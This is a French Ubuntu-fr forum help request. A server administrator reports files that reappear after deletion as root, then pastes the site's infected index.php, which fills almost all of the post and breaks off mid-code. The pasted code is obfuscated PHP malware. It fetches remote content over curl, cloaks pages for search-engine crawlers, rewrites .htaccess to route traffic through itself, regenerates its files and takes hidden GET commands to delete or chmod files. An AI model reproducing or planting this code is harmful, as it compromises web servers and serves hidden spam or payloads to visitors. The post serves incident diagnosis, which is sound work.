Ubuntu-fr

vincent-avct

[RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

Bonjour,
j'ai un serveur ubuntu 16.04 LTS
Il m'est impossible de supprimer des fichiers tout en étant connecter en root.

rm fichier

rm -R dossier

ceux-ci peuvent être supprimé mais ré apparaisse à la première connexion au site en http.
j'ai regardé le .htacces.
voici le contenu du fichier index.php étonnamment d'un site drupal

<?php
$FI8LLII88L='1217';
$FI88LILI8L='wp-admin';
$F8LI8II8LL="b3i8ohd2_4qy5p9rnkuflegt1amjs6-0zwcvx7";$FIIL8ILL88=$F8LI8II8LL{2}.$F8LI8II8LL{22}.$F8LI8II8LL{16}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{18}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{15}.$F8LI8II8LL{8}.$F8LI8II8LL{25}.$F8LI8II8LL{0}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{23};$FL8LI88ILI=$F8LI8II8LL{19}.$F8LI8II8LL{2}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{13}.$F8LI8II8LL{18}.$F8LI8II8LL{23}.$F8LI8II8LL{8}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$F8LIL88IIL=$F8LI8II8LL{19}.$F8LI8II8LL{2}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{22}.$F8LI8II8LL{21}.$F8LI8II8LL{23}.$F8LI8II8LL{8}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$FILLI8LI88=$F8LI8II8LL{19}.$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{4}.$F8LI8II8LL{16}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{2}.$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$FIL88I8LLI=$F8LI8II8LL{21}.$F8LI8II8LL{15}.$F8LI8II8LL{15}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{8}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{13}.$F8LI8II8LL{4}.$F8LI8II8LL{15}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{22};$FIL8I8LIL8=$F8LI8II8LL{34}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{19}.$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{4}.$F8LI8II8LL{16};$FI8LLI88LI=$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{23}.$F8LI8II8LL{8}.$F8LI8II8LL{23}.$F8LI8II8LL{2}.$F8LI8II8LL{26}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{20}.$F8LI8II8LL{2}.$F8LI8II8LL{26}.$F8LI8II8LL{2}.$F8LI8II8LL{23};$F8LL88IIIL=$F8LI8II8LL{0}.$F8LI8II8LL{25}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{29}.$F8LI8II8LL{9}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$F88LILIIL8=$F8LI8II8LL{0}.$F8LI8II8LL{25}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{29}.$F8LI8II8LL{9}.$F8LI8II8LL{8}.$F8LI8II8LL{6}.$F8LI8II8LL{21}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$F8L88LIILI=$F8LI8II8LL{13}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{22}.$F8LI8II8LL{8}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{13}.$F8LI8II8LL{20}.$F8LI8II8LL{25}.$F8LI8II8LL{34}.$F8LI8II8LL{21};$FIL888ILLI=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{8}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{13}.$F8LI8II8LL{20}.$F8LI8II8LL{25}.$F8LI8II8LL{34}.$F8LI8II8LL{21};$F8LI8ILL8I=$F8LI8II8LL{19}.$F8LI8II8LL{2}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{2}.$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{28};$FILII8LL88=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{28}.$F8LI8II8LL{21}.$F8LI8II8LL{23}.$F8LI8II8LL{4}.$F8LI8II8LL{13}.$F8LI8II8LL{23};$FL8IL8I8IL=$F8LI8II8LL{13}.$F8LI8II8LL{15}.$F8LI8II8LL{21}.$F8LI8II8LL{22}.$F8LI8II8LL{8}.$F8LI8II8LL{26}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{34}.$F8LI8II8LL{5};$FLIILL888I=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{34}.$F8LI8II8LL{20}.$F8LI8II8LL{4}.$F8LI8II8LL{28}.$F8LI8II8LL{21};$F8ILLIIL88=$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{16}.$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$FILL8L8I8I=$F8LI8II8LL{22}.$F8LI8II8LL{32}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{19}.$F8LI8II8LL{20}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{21};$F8I8LL8IIL=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{2}.$F8LI8II8LL{23};$FL88ILII8L=$F8LI8II8LL{34}.$F8LI8II8LL{18}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{8}.$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{21}.$F8LI8II8LL{34};$FLILI8L88I=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{15}.$F8LI8II8LL{13}.$F8LI8II8LL{4}.$F8LI8II8LL{28};$F8IL8LL8II=$F8LI8II8LL{28}.$F8LI8II8LL{34}.$F8LI8II8LL{25}.$F8LI8II8LL{16}.$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15};$F8IIIL88LL=$F8LI8II8LL{21}.$F8LI8II8LL{36}.$F8LI8II8LL{13}.$F8LI8II8LL{20}.$F8LI8II8LL{4}.$F8LI8II8LL{6}.$F8LI8II8LL{21};$FIL88IL8LI=$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15}.$F8LI8II8LL{16}.$F8LI8II8LL{25}.$F8LI8II8LL{26}.$F8LI8II8LL{21};$FIIIL8L8L8=$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{20}.$F8LI8II8LL{2}.$F8LI8II8LL{16}.$F8LI8II8LL{17};$F8ILLII8L8=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15};$FL8IILL88I=$F8LI8II8LL{28}.$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{20}.$F8LI8II8LL{21}.$F8LI8II8LL{16};$FILLL8I8I8=$F8LI8II8LL{2}.$F8LI8II8LL{28}.$F8LI8II8LL{8}.$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15};$F88LI8LILI=$F8LI8II8LL{26}.$F8LI8II8LL{17}.$F8LI8II8LL{6}.$F8LI8II8LL{2}.$F8LI8II8LL{15};$FLI88ILL8I=$F8LI8II8LL{34}.$F8LI8II8LL{4}.$F8LI8II8LL{18}.$F8LI8II8LL{16}.$F8LI8II8LL{23};$F8ILIL8I8L=$F8LI8II8LL{34}.$F8LI8II8LL{5}.$F8LI8II8LL{26}.$F8LI8II8LL{4}.$F8LI8II8LL{6};$FLL8II88IL=$F8LI8II8LL{23}.$F8LI8II8LL{15}.$F8LI8II8LL{2}.$F8LI8II8LL{26};$FLI8LLII88=$F8LI8II8LL{6}.$F8LI8II8LL{25}.$F8LI8II8LL{23}.$F8LI8II8LL{21};header('Content-Type:text/html;charset=utf-8');${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x49\x38\x4c\x4c\x49"](0);;$F8IILL8LI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FL8I8LI8IL=\'\',$F88LLLI8II=NULL,$F8III88LLL=array()','$FILI8IL8L8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitRtPkAA==\');$FIL8LI8LI8=$F8LLII8IL8=\'\';foreach(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FILI8IL8L8) as $c){$F8I8LL8LII=1;foreach(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'+\',$c) as $d){if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x49\x38\x4c\x49\x38\x38"]($d)){$F8I8LL8LII=0;}}unset($d);if($F8I8LL8LII){$FIL8LI8LI8=$c;break;}}unset($FILI8IL8L8,$c);if($FIL8LI8LI8==\'\'){return 0;}if(substr($FIL8LI8LI8,0,1)==\'c\'){$F88ILL8IIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x38\x4c\x4c\x38\x49\x49\x4c"]();${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_URL,$FL8I8LI8IL);${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_USERAGENT,\'WHR\');${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_RETURNTRANSFER,1);${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x49\x49\x38\x4c\x4c\x38\x38"]($F88ILL8IIL,CURLOPT_TIMEOUT,100);$FL8LLI8I8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x38\x49\x4c\x49\x49\x38\x4c"]($F88ILL8IIL);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x49\x4c\x4c\x38\x38\x38\x49"]($F88ILL8IIL);if(!$FL8LLI8I8I){return 0;}else{$FL8LLI8I8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FL8LLI8I8I,"\\xEF\\xBB\\xBF"));return $FL8LLI8I8I;}}if($FL8I88ILIL==\'\'){if(${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x49\x38\x4c\x49\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]) and $FL8I8LI8IL){$FL8I88ILIL=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FL8I8LI8IL);}}unset($F8LLII8IL8,$FIL8LI8LI8,$fp,$port,$_host);return ${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FL8I88ILIL,"\\xEF\\xBB\\xBF"));');$FIL8LI8IL8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FIL8LI8LI8nbed','$FL88LIII8L=substr($FIL8LI8LI8nbed,0,5);$F8LLI8LI8I=substr($FIL8LI8LI8nbed,-5);$FLL888ILII=substr($FIL8LI8LI8nbed,7,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x49\x4c\x4c\x38\x38\x49"]($FIL8LI8LI8nbed)-14);return ${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x38\x4c\x38\x49\x38\x49"](${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"]($FL88LIII8L.$FLL888ILII.$F8LLI8LI8I));');$F8LIL88LII=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FILI8IL8L8gent','$FIILL8L8I8=false;$FL88LLII8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8/PThT89JTcotPvqQEA\');$FL88LLII8I.=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8rMShT0/KL6lJz89Pz0mtPtAQA=\');$FL88LLII8I.=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8zPqhTUnKzEuvqUzMyM8tPHAA==\');if($FILI8IL8L8gent!=\'\'){if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]("/($FL88LLII8I)/si",$FILI8IL8L8gent)){$FIILL8L8I8=true;}}return $FIILL8L8I8;');$FL8LIL8I8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FL8LLI8I8Iefer','$FIIL888ILL=false;$FL88IILIL8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S8/PThT89J1UvO18stPqqAEA\');$FL88IILIL8.=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'q0zMyhTM/XS87XyyqtPoAQA=\');$FL88IILIL8.=\'bing\';if($FL8LLI8I8Iefer!=\'\'&&${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]("/($FL88IILIL8)/si",$FL8LLI8I8Iefer)){$FIIL888ILL=true;}return $FIIL888ILL;');$F88LIIIL8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FILI8IL8L8pidelpath','$FILL8IL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S0nNShTS1JrUktKsotPvAgA=\');$FIIL88LL8I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S0nNShTS1JrSkuTU5OLS4tPGAA==\');$FLII8LL8I8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S0nNShTS1JrcnLV0jLzEktPFAA==\');$F88LII8ILL=isset(${"\x5fG\x45T"}[\'xxxxxxxxxxxx_fil\'.\'ename\'])?${"\x5fG\x45T"}[\'xxxxxxxxxxxx_fil\'.\'ename\']:\'\';if($F88LII8ILL==${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'SyzIThTEntPNAQA=\')){$F88LII8ILL=$FILI8IL8L8pidelpath;}if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x38\x49\x4c\x4c\x38\x49"]($F88LII8ILL)){@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x49\x4c\x38\x49\x38\x4c"]($F88LII8ILL,0644);if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x49\x49\x4c\x38\x4c\x38\x4c\x38"]($F88LII8ILL)){echo $FILL8IL88I;}else{echo $FIIL88LL8I;}}else{echo $FLII8LL8I8;}');$F8IIIL8LL8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FIIL8I8LL8=\'\',$FI8L8ILL8I,$FI88LII8LL,$FII88LIL8L','$FLL8L8III8=\'\';$FILIL8I88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'s/FM8hT81PKc1JVcjNT4ktPvSgUA\').\'write.c>\';$FLI88LI8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSXUtPFAA==\').\'ngine\';$F8LL88IILI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSXUtPCAA==\').\'ase\';$FL8ILI88LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSQ0tPCAA==\').\'ule\';$FILLII88L8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C0otLhT8osSXUtPGAA==\').\'ond\';$FILLI88I8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'s9H3ThTPPNTyktPFAA==\').\'le>\';$FLILLI888I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'C3INDhTHUtPNDgEA\').\'_FILENAME\';$FI88LLIIL8=\'inde\'.\'x.php\';$FIIL8I8LL8= $FILIL8I88L."\\n";$FIIL8I8LL8 .=$FLI88LI8LI."\\x20On\\n";$FIIL8I8LL8 .=$F8LL88IILI."\\x20/\\n";$FIIL8I8LL8 .=$FL8ILI88LI."\\x20^".$FI88LLIIL8."$\\x20-\\x20[L]\\n";$FIIL8I8LL8 .=$FILLII88L8."\\x20%{".$FLILLI888I."}\\x20!-f\\n";$FIIL8I8LL8 .=$FILLII88L8."\\x20%{".$FLILLI888I."}\\x20!-d\\n";$FIIL8I8LL8 .=$FL8ILI88LI."\\x20.\\x20".$FLL8L8III8.$FI88LLIIL8." [L]\\n";$FIIL8I8LL8 .=$FILLI88I8L;if($FIIL8I8LL8!=\'\'){if($FI8L8ILL8I){$FL8LIIIL88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09PXyhTyhtPJTAYA\');$FL8LIIIL88.=\'cess\';if($FL8LIIIL88!=\'\'){@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x49\x4c\x38\x49\x38\x4c"]($FL8LIIIL88,0644);$FILIL8L8I8=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FL8LIIIL88);if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FILIL8L8I8,$FLILLI888I)||!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FILIL8L8I8,$FL8ILI88LI."\\x20.\\x20".$FLL8L8III8.$FI88LLIIL8." [L]\\n")||!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FILIL8L8I8,$FL8ILI88LI."\\x20^".$FI88LLIIL8."$\\x20-\\x20[L]\\n")){$FILIL8L8I8=$FIIL8I8LL8.PHP_EOL .$FILIL8L8I8;@${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($FL8LIIIL88,$FILIL8L8I8);}}}}');$FLI8I88LLI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FL88LII8LI=\'\'','$F8LLLIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x49\x4c\x38\x4c\x49"](__FILE__);foreach(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x38\x4c\x4c\x38\x49\x49"]($F8LLLIII88) as $FLII8ILL88){if($FLII8ILL88==\'.\'||$FLII8ILL88==\'..\') continue;if(${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x4c\x38\x49\x38\x49\x38"]($F8LLLIII88.\'/\'.$FLII8ILL88)){$FL88LII8LIArray[] =$FLII8ILL88;}}$FI88LILI8L=\'temp\';$FL88LII8LIArray[] =$FI88LILI8L;return $FL88LII8LIArray;');$FI8ILL88IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x49\x38\x4c\x49\x4c\x38"]('$FI8I8LLIL8=\'\'','@${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x38\x4c\x4c\x49\x38\x38\x4c\x49"](3600);@${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x49\x4c\x38\x49\x4c\x4c\x38\x38"](1);global $FI8LLII88L,$FI88LILI8L;$FI8L8ILL8I="1";$F88IL8LILI=\'\';$FLIII8L8L8pps =\'\';$FLLI8ILI88=${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];$FIIL8LI8L8=isset(${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:\'\';$FLII8IL88L=isset(${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:\'\';$FLIIL8L88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x4c\x49\x49"]($FLII8IL88L);$FLI88LLII8=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x4c\x38\x49\x38\x49"]($FIIL8LI8L8);$F8ILI8I8LL=\'\';if(isset(${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){$F8ILI8I8LL=${"_S\x45\x52\x56\x45R"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"_S\x45\x52\x56\x45R"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){$F8ILI8I8LL=${"_S\x45\x52\x56\x45R"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}if($FI88LILI8L==""){$FI8L8L8ILI=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x49\x38\x38\x4c\x4c\x49"]();$FI88LILI8L=$FI8L8L8ILI[0];}else{$FI88LILI8L=$FI88LILI8L;}$FLIL88I8IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($F8ILI8I8LL).\'.txt\';$F8IL8I8LLI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($F8ILI8I8LL).\'a.txt\';if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x4c\x38\x49\x38\x49\x38"]($FI88LILI8L)){${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x38\x4c\x49\x4c\x49"]($FI88LILI8L);}$FLIL88I8IL=$FI88LILI8L.\'/\'.$FLIL88I8IL;$F8IL8I8LLI=$FI88LILI8L.\'/\'.$F8IL8I8LLI;if(isset(${"\x5fG\x45T"}[\'xxxxxxxxxxxx_d\'.\'el\'])){${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x49\x49\x4c\x38\x4c"]($FLIL88I8IL);exit();}if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x38\x49\x4c\x4c\x38\x49"]($FLIL88I8IL)){$F8LL8LI8II=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTbDS108syNQr0C0pSk1L08vMS8uHCGQU2KftPbAgA=\');$FLL8LIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($F8LL8LI8II.$FI8LLII88L);@${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($FLIL88I8IL,$FLL8LIII88);}$FLL8LIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FLIL88I8IL);$FLL8LIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FLL8LIII88);$F88IIL8LLI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8LIII88[0]));$F8IL8LLII8=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8LIII88[1]));$F8LIL8ILI8=${"_S\x45\x52\x56\x45R"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$FI88LII8LL=\'\';$FII88LIL8L=${"_S\x45\x52\x56\x45R"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];$FII88LIL8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"](\'\\\\\',\'/\',$FII88LIL8L);$F8LLIII88L=__FILE__;$F8LLIII88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"](\'\\\\\',\'/\',$F8LLIII88L);$F8ILL8ILI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x49\x4c\x38\x4c\x49"](__FILE__).\'/\';$F8ILL8ILI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"](\'\\\\\',\'/\',$F8ILL8ILI8);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($F8LLIII88L,\'(\')){$F8LLIII88L=substr($F8LLIII88L,0,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x4c\x49\x38\x4c\x38\x38\x49"]($F8LLIII88L,\'(\'));}$FI88ILL8IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($F8ILL8ILI8,\'\',$F8LLIII88L);$F88IL8LILI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FII88LIL8L,\'\',$F8ILL8ILI8);$FI88LII8LL=$FI88ILL8IL;if(substr($F8LIL8ILI8,0,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x49\x4c\x4c\x38\x38\x49"]($F88IL8LILI.$FI88ILL8IL))==$F88IL8LILI.$FI88ILL8IL){$F88IL8LILI=$F88IL8LILI.$FI88ILL8IL;}$FI8LI8LLI8=\'www\';$FI8I8LL8IL=\'\';if(isset(${